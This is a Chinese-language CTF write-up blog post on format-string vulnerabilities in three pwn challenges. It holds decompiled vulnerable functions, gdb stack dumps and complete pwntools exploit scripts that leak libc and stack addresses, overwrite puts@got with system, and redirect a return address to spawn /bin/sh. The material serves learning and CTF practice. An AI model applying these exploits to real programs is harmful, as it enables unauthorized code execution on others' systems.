pwn

格式化字符串-2

Posted by Kody Black on October 23, 2023

格式化字符串漏洞的例子

1. 2017-UIUCTF-pwn200-GoodLuck

这个很简单,直接gdb调试下就行了

───────────────[ STACK ]─────────────────────
00:0000│ rsp 0x7fffffffe048 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8
01:0008│     0x7fffffffe050 ◂— 0x31000000
02:0010│     0x7fffffffe058 —▸ 0x602ca0 ◂— 0x34333231 /* '1234' */
03:0018│     0x7fffffffe060 —▸ 0x6022a0 ◂— 0x602
04:0020│     0x7fffffffe068 —▸ 0x7fffffffe070 ◂— 'flag{11111111111111111'
05:0028│     0x7fffffffe070 ◂— 'flag{11111111111111111'
06:0030│     0x7fffffffe078 ◂— '11111111111111'
07:0038│     0x7fffffffe080 ◂— 0x313131313131 /* '111111' */

可以看到flag,如果非要利用format-string的话,可以注意到flag地址在rsp下面的第4个,函数前6个参数在寄存器中(rdi中是输入字符串的地址),所以%9$s即可。

❯ ./goodluck
what's the flag
%9$s
You answered:
flag{11111111111111111

2. pwn3

反汇编后的main函数如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int command; // eax
  char s1[40]; // [esp+14h] [ebp-2Ch] BYREF
  int v5; // [esp+3Ch] [ebp-4h]

  setbuf(stdout, 0);
  ask_username(s1);
  ask_password(s1);
  while ( 1 )
  {
    while ( 1 )
    {
      print_prompt();
      command = get_command();
      v5 = command;
      if ( command != 2 )
        break;
      put_file();
    }
    if ( command == 3 )
    {
      show_dir();
    }
    else
    {
      if ( command != 1 )
        exit(1);
      get_file();
    }
  }
}

在ask_password中可以看到密码为sysbdmin,而在ask_username中,把输入的内容每一个字符加了1,所以首先输入rxraclhm就可以进入后面的程序。

在get_file函数中,存在格式化字符串漏洞:

int get_file()
{
  char dest[200]; // [esp+1Ch] [ebp-FCh] BYREF
  char s1[40]; // [esp+E4h] [ebp-34h] BYREF
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", s1);
  if ( !strncmp(s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, s1) )
    {
      strcpy(dest, i + 40);
      return printf(dest);
    }
  }
  return printf(dest);
}

ctf wiki中的漏洞利用思路

既然有了格式化字符串漏洞,那么我们可以确定如下的利用思路

  • 绕过密码
  • 确定格式化字符串参数偏移
  • 利用 puts@got 获取 puts 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址。
  • 修改 puts@got 的内容为 system 的地址。
  • 当程序再次执行 puts 函数的时候,其实执行的是 system 函数。

首先,这里用puts@got获得libc版本的方法不一定通用,我在实验时发现没有找到我的库,所以如果时本地的话就直接用如下方法:

pwn3 = ELF('./pwn3')
libc = pwn3.libc
libc.address = printf_addr - libc.symbols['printf'] #这里的printf_addr是泄露出的真实地址
system_addr = libc.symbols['system']

另外,这个思路很巧妙的一点在于,它将puts函数修改为system的同时,将最后put上去的文件名设置为/bin/sh,这样参数就直接有了。

exp如下:

from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
pwn3 = ELF('./pwn3')
sh = process('./pwn3')
libc = pwn3.libc

def get(name):
    sh.sendline(b'get')
    sh.recvuntil(b'enter the file name you want to get:')
    sh.sendline(name.encode())
    data = sh.recv()
    return data

def put(name, content):
    sh.sendline(b'put')
    sh.recvuntil(b'please enter the name of the file you want to upload:')
    sh.sendline(name.encode())
    sh.recvuntil(b'then, enter the content:')
    sh.sendline(content)


def show_dir():
    sh.sendline(b'dir')

tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)

# password
def password():
    sh.recvuntil(b'Name (ftp.hacker.server:Rainism):')
    sh.sendline(name.encode())

# password
password()
# get the addr of printf
printf_got = pwn3.got['printf']
# 这里的文件名开头使用\x00作为隔断,使得最后执行dir时,不会出现/bin/sh1111这种情况
# 也可以这里不隔断,把/bin/sh文件名改为/bin/sh;
put('\x001111', b'%8$s' + p32(printf_got))
printf_addr = u32(get('\x001111')[:4])
success('printf addr : ' + hex(printf_addr))

# 我本地的libc应该是libc6_2.35-0ubuntu3.4_i386
# 但是用puts地址去找的话,LibcSearcher找不到,所以这里使用printf地址去找
# get addr of system
# libc = LibcSearcher("printf", printf_addr)
# system_offset = libc.dump('system')
# printf_offset = libc.dump('printf')
# system_addr = printf_addr - printf_offset + system_offset
# log.success('system addr : ' + hex(system_addr))

# 在本地,直接用下面这个方法比较方便
libc.address = printf_addr - libc.symbols['printf']
system_addr = libc.symbols['system']
success('system addr : ' + hex(system_addr))

# modify puts@got, point to system_addr
payload = fmtstr_payload(7, {pwn3.got['puts']: system_addr})
success('puts@got : ' + hex(pwn3.got['puts']))
success('system addr : ' + hex(system_addr))
success('payload:\n' + payload.decode('latin-1'))
put('/bin/sh', payload)
sh.recvuntil(b'ftp>') 
sh.sendline(b'get')
sh.recvuntil(b'enter the file name you want to get:')
#gdb.attach(sh)
sh.sendline(b'/bin/sh')

# system('/bin/sh')
show_dir()
sh.interactive()

3. 三个白帽-pwnme

使用ida进行分析,可以发现在函数sub_400B07中存在格式化字符串漏洞。

int __fastcall vulu_sub_400B07(int a1, int a2, int a3, int a4, int a5, int a6, __int64 format, int a8, __int64 a9)
{
  write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
  printf((const char *)&format);
  return printf((const char *)&a9 + 4);
}

另外,发现函数sub_4008A6直接调用了system(“/bin/sh”)

int sub_4008A6()
{
  return system("/bin/sh");
}

那我们就可以利用字符串溢出漏洞,将返回地址修改为sub_4008A6即可。

问题1:返回地址的位置:

执行的程序如下:

Register Account first!
Input your username(max lenth:20): 
aaaa
Input your password(max lenth:20): 
bbbb
Register Success!!
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
>1
Welc0me to sangebaimao!

我们在printf上下断点。

# 进入第二个printf时的寄存器情况
 RAX  0x0
 RBX  0x0
*RCX  0x400
*RDX  0x0
*RDI  0x7fffffffdfe4 ◂— 0xa62626262 /* 'bbbb\n' */
*RSI  0x6032a0 ◂— 'aaaa\nt sangebaimao:(\ntion!\nth:20): \n**********\n'
*R8   0x0
 R9   0x0
*R10  0x7fffffffdfd0 ◂— 0xa61616161 /* 'aaaa\n' */
 R11  0x246
 R12  0x7fffffffe1c8 —▸ 0x7fffffffe4a4 ◂— 0x6f6b2f656d6f682f ('/home/ko')
 R13  0x400dd8 ◂— push rbp
 R14  0x0
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
 RBP  0x7fffffffdfc0 —▸ 0x7fffffffe000 —▸ 0x7fffffffe0b0 ◂— 0x1
 RSP  0x7fffffffdfb8 —▸ 0x400b3e ◂— nop
 RIP  0x7ffff7c606f0 (printf) ◂— endbr64
# 进入第二个printf时的栈
00:0000│ rsp   0x7fffffffdfb8 —▸ 0x400b3e ◂— nop
01:0008│ rbp   0x7fffffffdfc0 —▸ 0x7fffffffe000 —▸ 0x7fffffffe0b0 ◂— 0x1
02:0010│       0x7fffffffdfc8 —▸ 0x400d74 ◂— add rsp, 0x30
03:0018│ r10   0x7fffffffdfd0 ◂— 0xa61616161 /* 'aaaa\n' */
04:0020│       0x7fffffffdfd8 ◂— 0x0
05:0028│ rdi-4 0x7fffffffdfe0 ◂— 0x6262626200000000
06:0030│       0x7fffffffdfe8 ◂— 0xa /* '\n' */
07:0038│       0x7fffffffdff0 ◂— 0x0

这里由两点需要注意

  • 要修改返回地址,就需要泄露出一个栈地址
  • 在格式化字符串漏洞找的是printf的参数,除去寄存器中的6个,应该是从栈顶往下开始看,注意此时的栈是刚进入函数时的(执行了call printf),此时栈顶元素应该是返回地址,从栈顶下面一个开始才是第7个参数。

rbp上自然存的是返回地址,其恰好是第7个参数,对于格式化字符串后的第6个。

此时rbp保存的地址是0x7fffffffe000,我们想修改的应该是保存返回地址的位置0x7fffffffdfc8 —▸ 0x400d74。

0x7fffffffe000-0x7fffffffdfc8 = 56,所以我们泄露出rbp的地址,再减去56,就是保存返回地址的位置了。

问题2:如何修改返回地址内容

只需要将name输入为返回地址的位置,然后只执行printf密码时,找到name的相对偏移,利用%n修改其中的内容即可。

特别的,注意到0x400d74和0x4008A6只有最后2个字节不一样,所以只需要修改后面的2个字节就好了。经过实际测试,修改为0x4008A6会导致程序异常,需要直接修改为0x4008AA, 即直接调用 system(“/bin/sh”) 处。

具体name的位置,可以看到是第9个参数,对应格式化字符串后的第8个。

exp如下:

from pwn import *

sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")
# gdb.attach(sh,'b printf')

sh.recv()
sh.sendline(b"name")
sh.recv()
sh.sendline(b"%6$p")
sh.recv()
sh.sendline(b"1")
sh.recvuntil(b"0x")
# 栈地址长度为6个字节,输出结果刚好是0x后面跟12个数字,所以取前12个输出内容
# ret_addr = int(sh.recv()[:12],16) - 56
# 当然,因为地址后面是\n,用recvline更好
ret_addr = int(sh.recvline().strip(),16) - 0x38
success("ret_addr:"+hex(ret_addr))

sh.recv()
sh.sendline(b"2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
# 修改为0x4008aa
sh.sendline(b"%2218d%8$hn")

sh.recv()
sh.sendline(b"1")
sh.recv()
sh.interactive()

补充:

在Full RELRO模式下,所有的GOT项都会被标记为只读,包括全局函数地址、全局变量地址和动态符号表等。

在Partial RELRO模式下,只有部分的GOT项会被标记为只读,通常包括全局函数地址。其他的GOT项,如全局变量地址和动态符号表,仍可被修改。这样做的目的是在程序启动时,可以通过动态链接器动态加载一些共享库,提高程序的灵活性和性能。

补充2,在第一步中,我们获取了rbp中存储的地址(即为上一个rbp),那么这个值+8不就应该是上一个函数的返回地址了,所以修改这个地址也可以。即:ret_addr = int(sh.recv()[:12],16) + 8

不过需要注意,这样做程序暂时还没有执行到system,所以需要结束程序才会进入shell(所以说还是覆盖当前的返回地址比较好),如下所示:

❯ python myexp.py
[+] Starting local process './pwnme_k0': pid 250890
[+] ret_addr:0x7fffb05a2a58
[*] Switching to interactive mode
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
>$ 3
byebyeT.T
$ ls
exp.py    myexp.py  pwnme_k0  temp.py